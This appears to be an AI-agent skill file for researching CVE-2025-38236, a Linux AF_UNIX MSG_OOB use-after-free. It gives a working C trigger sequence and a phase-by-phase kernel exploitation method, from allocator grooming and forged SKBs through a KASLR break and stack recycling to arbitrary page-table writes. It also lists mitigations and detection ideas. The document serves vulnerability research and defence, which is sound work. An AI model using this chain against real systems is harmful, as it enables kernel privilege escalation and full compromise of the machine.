AF_UNIX MSG_OOB UAF Exploitation Research

A specialized skill for analyzing and understanding the AF_UNIX MSG_OOB use-after-free vulnerability (CVE-2025-38236) and related kernel exploitation techniques.

When to Use This Skill

Use this skill when:

• Researching CVE-2025-38236 or similar AF_UNIX socket vulnerabilities
• Analyzing kernel use-after-free exploitation techniques
• Understanding SKB (socket buffer) manipulation primitives
• Investigating Chrome renderer-to-kernel escape chains
• Studying Linux kernel allocator manipulation (SLUB, buddy allocator)
• Working with arbitrary kernel read/write primitives
• Analyzing kernel stack recycling and KASLR bypass techniques

⚠️ Safety Warning

This skill covers advanced kernel exploitation techniques. Use only in:

• Authorized security research environments
• Controlled lab settings with isolated VMs
• Educational contexts with proper permissions
• Never against production systems or without explicit authorization

Vulnerability Overview

CVE-2025-38236: The Core Flaw

Affected Kernels: Linux >= 6.9 with flawed

manage_oob()

refactor (commit

5aa57d9f2d53

)

Root Cause: The

manage_oob()

function assumes only one zero-length SKB exists in the queue. When two consecutive zero-length SKBs are present, the function returns the second empty SKB without properly clearing

u->oob_skb

, leaving a dangling pointer.

Minimal Trigger Sequence

char byte;
int socks[2];
socketpair(AF_UNIX, SOCK_STREAM, 0, socks);

// Create two zero-length OOB SKBs
for (int i = 0; i < 2; ++i) {
    send(socks[1], "A", 1, MSG_OOB);
    recv(socks[0], &byte, 1, MSG_OOB);
}

// Set up the dangling pointer
send(socks[1], "A", 1, MSG_OOB);   // SKB3, u->oob_skb = SKB3
recv(socks[0], &byte, 1, 0);         // normal recv frees SKB3
recv(socks[0], &byte, 1, MSG_OOB);   // dangling u->oob_skb dereference

Exploitation Primitives

Primitive 1: 1-Byte Arbitrary Kernel Read

Mechanism:

recv(MSG_OOB | MSG_PEEK)

triggers

unix_stream_recv_urg()

→

__skb_datagram_iter()

→

copy_to_user()

Requirements:

• Dangling

  u->oob_skb

  pointer
• Reallocated SKB page into controlled memory (pipe buffer)

• MSG_PEEK

  flag to preserve dangling pointer

Capabilities:

• Repeatable reads from arbitrary kernel addresses
• Works against

  .data

  ,

  .bss

  , vmemmap, per-CPU vmalloc, kernel stacks
• Respects

  __check_object_size()

  usercopy hardening
• Returns

  -EFAULT

  for

  .text

  and specialized caches (no crash)

Primitive 2: Constrained Write (+4 GiB Increment)

Mechanism: Without

MSG_PEEK

,

UNIXCB(oob_skb).consumed += 1

increments the 32-bit field at offset

0x44

Effect: On 0x100-aligned SKB allocations, this adds +4 GiB to the upper dword of any 64-bit value at offset

0x40

Use Case: Stack corruption when the target value is positioned at the correct offset

Exploitation Methodology

Phase 1: Page Allocator Manipulation

1. Drain order-0/1 unmovable freelists

   • Map huge read-only anonymous VMA
   • Fault every page to force page-table allocation
   • Fill ~10% of RAM with page tables

2. Spray SKBs and isolate a slab page

   • Create dozens of stream socketpairs
   • Queue hundreds of small messages per socket (~0x100 bytes)
   • Free chosen SKBs to control target slab page
   • Monitor

     struct page

     refcount via read primitive

3. Return slab page to buddy allocator

   • Free every object on the page
   • Perform additional allocations/frees to push page out of SLUB per-CPU lists
   • Page becomes order-1 on buddy freelist

4. Reallocate as pipe buffer

   • Create hundreds of pipes (each reserves 2×0x1000-byte pages)
   • Buddy allocator splits order-1 page, reusing freed SKB page
   • Write unique markers into fake SKBs in pipe pages
   • Use

     recv(MSG_OOB | MSG_PEEK)

     to identify which pipe aliases

     oob_skb

Phase 2: Forge SKB Metadata

Populate the aliased pipe page with fake

struct sk_buff

:

struct sk_buff {
    void *head;           // Point to target kernel address
    void *data;           // Data pointer
    // ... other fields
    struct skb_shared_info *shinfo;  // For frag_list manipulation
};

Key Considerations:

• x86_64 disables SMAP inside

  copy_to_user()

• User-mode addresses work as staging buffers until kernel pointers known
• Respect usercopy hardening boundaries

Phase 3: Kernel Introspection

Break KASLR:

// Read IDT descriptor from fixed mapping
void *idt = (void *)0xfffffe0000000000;
kernel_base = idt - known_handler_offset;

SLUB/Buddy State:

• Read global

  .data

  symbols for

  kmem_cache

  bases
• Scan vmemmap entries for page type flags and freelist pointers
• Walk per-CPU vmalloc segments for

  struct kmem_cache_cpu

• Predict next allocation addresses for key caches

Page Tables:

• Walk global

  pgd_list

  (

  struct ptdesc

  )
• Match current

  mm_struct

  via

  cpu_tlbstate.loaded_mm

• Traverse page tables to map PFNs for pipe buffers and stacks

Phase 4: Stack Recycling

1. Free controlled pipe page, confirm refcount = 0 via vmemmap
2. Allocate and free four helper pipe pages in reverse order (LIFO)
3. Call

   clone()

   to spawn helper thread (4 pages = kernel stack)
4. Verify top stack PFN equals recycled SKB PFN via page-table walk
5. Use read primitive to observe stack layout during

   pipe_write()

KSTACK_OFFSET Oracle:

• CONFIG_RANDOMIZE_KSTACK_OFFSET

  subtracts random 0x0–0x3f0 from RSP
• Repeated writes with

  poll()

  /

  read()

  reveal when writer blocks
• Target:

  copy_page_from_iter()

  bytes

  argument (R14) at offset

  0x40

Phase 5: Timing the Increment

Self-Looping Frag List:

struct sk_buff *fake_skb2 = user_controlled_memory;
fake_skb2->len = 0;
fake_skb2->next = &fake_skb2;  // Self-loop

fake_skb1->shinfo->frag_list = fake_skb2;

Execution Flow:

1. skb_walk_frags()

   iterates inside

   __skb_datagram_iter()

2. Iterator never reaches NULL, execution spins indefinitely
3. Change

   fake_skb2->next = NULL

   from user space
4. Loop exits,

   UNIXCB(oob_skb).consumed += 1

   executes once
5. +4 GiB increment hits target at offset

   0x40

Stalling

copy_from_iter()

:

1. Map giant anonymous RW VMA, fault in fully
2. Punch single-page hole with

   madvise(MADV_DONTNEED)

3. Place hole address inside

   iov_iter

   for

   write(pipefd, user_buf, 0x3000)

4. Parallel

   mprotect()

   on entire VMA from another thread
5. Page fault handler blocks on mmap lock, pausing

   copy_from_iter()

Phase 6: Arbitrary PTE Writes

1. Fire the increment while

   copy_from_iter()

   is stalled
2. Overflow the copy:

   copy_page_from_iter()

   copies >4 GiB
3. Arrange adjacency: Force buddy allocator to place PTE page after pipe buffer
4. Overwrite page tables: Encode desired PTE entries in extra 0x1000 bytes

Result: RW/RWX user mappings of kernel physical memory or SMEP/SMAP disable

Mitigation Strategies

Kernel-Level

1. Apply the fix: Commit

   32ca245464e1479bfea8592b9db227fdc1641705

2. Disable AF_UNIX OOB:

   CONFIG_AF_UNIX_OOB

   (commit

   5155cbcdbf03

   )
3. Harden

   manage_oob()

   : Loop until

   unix_skb_len() > 0

4. Audit other protocols: Check for similar assumptions

Sandboxing

1. Seccomp filtering: Block

   MSG_OOB

   /

   MSG_PEEK

   flags
2. Broker APIs: Filter at higher level (Chrome CL

   6711812

   )
3. Capability restrictions: Limit socket operations in unprivileged contexts

Allocator Defenses

1. SLUB freelist randomization: Complicate deterministic page recycling
2. Per-cache page coloring: Reduce reallocation reliability
3. Pipe buffer limits: Reduce attack surface

Monitoring

1. Page-table allocation rate: High-rate allocation is suspicious
2. Pipe buffer usage: Abnormal counts indicate exploitation
3. AF_UNIX OOB frequency: Unusual patterns warrant investigation

Research Workflow

Step 1: Environment Setup

# Verify kernel version
uname -r

# Check for vulnerability
# Kernels >= 6.9 with commit 5aa57d9f2d53 but before 32ca245464e1 are affected

# Verify CONFIG_AF_UNIX_OOB
grep CONFIG_AF_UNIX_OOB /boot/config-$(uname -r)

Step 2: Primitive Validation

1. Trigger the UAF with minimal sequence
2. Verify read primitive works with

   MSG_PEEK

3. Confirm write primitive with

   +4 GiB

   increment
4. Test allocator manipulation reliability

Step 3: Exploitation Chain

1. Implement page draining and SKB spraying
2. Forge SKB metadata in pipe buffers
3. Implement kernel introspection
4. Set up stack recycling
5. Time the increment with frag list loop
6. Achieve arbitrary PTE writes

Common Pitfalls

1. Usercopy hardening:

   .text

   and specialized caches return

   -EFAULT

2. Folio boundaries: Direct-map pages straddling higher-order folios fail
3. Timing sensitivity: KSTACK_OFFSET randomization requires oracle
4. Allocator variance: SLUB behavior varies by kernel config
5. SMAP/SMEP: Must be disabled or bypassed for full control

References

• Project Zero – From Chrome renderer code exec to kernel with MSG_OOB
• Linux fix for CVE-2025-38236
• Chromium CL 6711812 – block MSG_OOB in renderers
• CONFIG_AF_UNIX_OOB commit

Related Skills

Consider using these skills in conjunction:

• Kernel debugging and analysis
• Memory corruption exploitation
• Bypassing kernel mitigations (KASLR, SMEP, SMAP)
• SLUB allocator internals
• Linux kernel networking stack